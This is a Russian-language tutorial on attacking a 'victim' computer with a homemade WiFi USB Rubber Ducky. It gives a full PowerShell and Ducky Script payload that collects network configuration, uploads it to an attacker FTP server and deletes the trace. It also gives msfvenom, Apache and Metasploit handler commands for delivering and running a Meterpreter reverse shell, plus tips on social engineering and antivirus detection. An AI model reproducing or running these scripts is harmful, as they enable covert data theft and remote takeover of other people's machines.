В сегодняшнем материалы вы познакомитесь с основными командами при использовании USB Ducky. О том как дешево сделать самому USB Rubber Ducky вы можете прочитать в нашем предыдущем материале.
Получение Meterpreter сессии и информации о сети с помощью USB Ducky + WiFi Ducky
В этой статье поговорим об использовании нашего устройства. Что можно сделать и как можно его применить. Сразу скажу, что сюжетов существует много и достаточно посмотреть на количество возможных вариантов. Они есть как под разные операционные системы, так и под задачи. Рассмотрим как на практике работают некоторые из них и как их можно использовать.
Нужно понимать, что такого ряда атаки проводятся, когда у вас есть возможность каким-то образом передать или доставить наше устройство для жертвы. Я писал, что можно заказать флешку и упаковать наше чудо в небольшой и приятный корпус, который не будет вызывать подозрений.
Удаленное получение информации о сети с PowerShell
Что нам нужно:
- USB WiFi Ducky (связка Arduino Micro Pro и Wemos mini d1);
- Удаленный сервер с установленным FTP-сервером;
- Мобильное устройство.
Базой нашего скрипта будут команды, которые позволяют получить информацию о сети. Очень подробно они описаны здесь. В нашем примере используем Get-NetIPConfiguration, аналог всем известной команды ipconfig в командной строке Windows. Если вам нужно доработать скрипт или заточить под свои нужды, то посмотрите информацию по ссылке выше.
Загрузка данных о сети нашей цели будет осуществляться на удаленный FTP-сервер. Для примера был выбран Golden FTP Server. Его также можно использовать и на локальной машине. Вы понимаете, что для серьезных задач нам нужен выделенный FTP-сервер.
Нажимаем “Добавить” и указываем путь для доступа к файлам. Ставим галочку “Разрешить полный доступ”.
Приступаем к скрипту:
############################################ Get-NetIPConfiguration > ipdata.txt; #указываем файл для записи данных о сети $Dir="ipdata.txt" #указываем директорию FTP-сервера $ftp = "ftp://<FTP>" #указываем адрес FTP-сервера (текст в скобочках заменяется на адрес сервера) $webclient = New-Object System.Net.WebClient foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp+$item.Name);$webclient.UploadFile($uri, $item.FullName)} #код для записи файла на сервер. Цикл foreach записан в строку del ipdata.txt #удаляем исходный файл с данными о сети ############################################
Скрипт можно предварительно протестировать на работоспособность в PowerShell.
Далее перепишем скрипт в виде команд Ducky Script:
GUI r DELAY 100 STRING powershell ENTER DELAY 1000 STRING Get-NetIPConfiguration > ipdata.txt;$Dir="ipdata.txt";$ftp = "ftp://127.0.0.1/F/";$webclient = New-Object System.Net.WebClient; ENTER STRING foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp STRING + STRING $item.Name);$webclient.UploadFile($uri, $item.FullName)} ENTER STRING del ipdata.txt ENTER DELAY 100 STRING exit ENTER
Также стоит отметить, что на разных компьютерах стоит использовать разные значения DELAY, то есть задержки между выполнением команд. С этим нужно экспериментировать.
В ходе использования скрипта файл с информацией о сети передается на ваш FTP-сервер и удаляется с компьютера жертвы. Пример отчета можно увидеть на скриншоте. Файл с нашими данными ipdata.txt:
Информация о жертве ipdata.txt
Meterpreter
С помощью USB Rubber Ducky мы можем использовать не только написанные на Ducky сценарии, но и загружать исполняемые файлы, которые смогут действовать сами по себе. Именно эту возможность мы разберем.
Итак, для атаки нам понадобится:
- Машина под управлением Linux с установленным Metasploit Framework и Apache (лучше использовать выделенный сервер);
- Arduino Micro Pro в связке с Wemos mini d1, с установленной прошивкой для эксплуатации Ducky-скриптов;
- Машина под управлением Windows с поддержкой Powershell;
- Мобильное устройство с поддержкой WiFI.
Итак, начнем.
Шаг 1. Создание payload
Для начала узнаем IP-адрес нашей машины с помощью команды ifconfig.
Как видим, наш адрес — 192.168.0.x
Создадим исполняемый файл .exe с помощью команды:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.100 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe
После ввода команды получаем результат:
После этого в папке root/Desktop
создастся нужный файл.
Шаг 2. Конфигурирование веб-сервера
Запустим веб-сервер Apache 2 с помощью команды:
service apache2 start
Скопируем файл reverse_tcp.exe
в директорию сервера: var/www/html
Дальше проверяем работу сервера: введя свой IP в адресной строке браузера, увидим что-то похожее:
Шаг 3. Работа с WiFi USB Ducky
На данном этапе мы используем непосредственно нашу “уточку”. Для начала, взглянем на скрипт по ссылке. Желательно его отредактировать, убрав лишние пробелы и комментарии. После этого заменяем "service.jar"
на название нашего payload, и IP-адрес на адрес нашего компьютера.
Подключаем устройство, подключаемся к точке доступа “уточки” и загружаем полученный скрипт:
Шаг 4. Атака
Нажимаем на кнопку “Run Script”. На компьютере жертвы запускается окно “Выполнить”, затем вызов Powershell в фоновом режиме. После этого исполняемый файл с нашего сервера скачивается, запускается и закрывается процесс Powershell.
Чтобы контролировать компьютер жертвы с управляющей машины, вводим команду msfconsole
. После загрузки фреймворка выполняем такую последовательность команд:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lport 5555 msf exploit(handler) > exploit
Если payload на компьютере жертвы сработал, вы увидите такую картину:
После установки подключения вы сможете использовать все возможности платформы.
Заключение
Вот такими способами можно применять уточку. Также я хочу сказать, что можно использовать технологию загрузки с сервиса для других задач. Конечно, для проведения хорошей атаки нужно поработать с нагрузкой. Так как она обнаруживается антивирусами и поэтому имеет далеко не стопроцентный шанс. Но с использованием навыков СИ, например отправить сообщение в критичный момент для цели, может отлично сработать.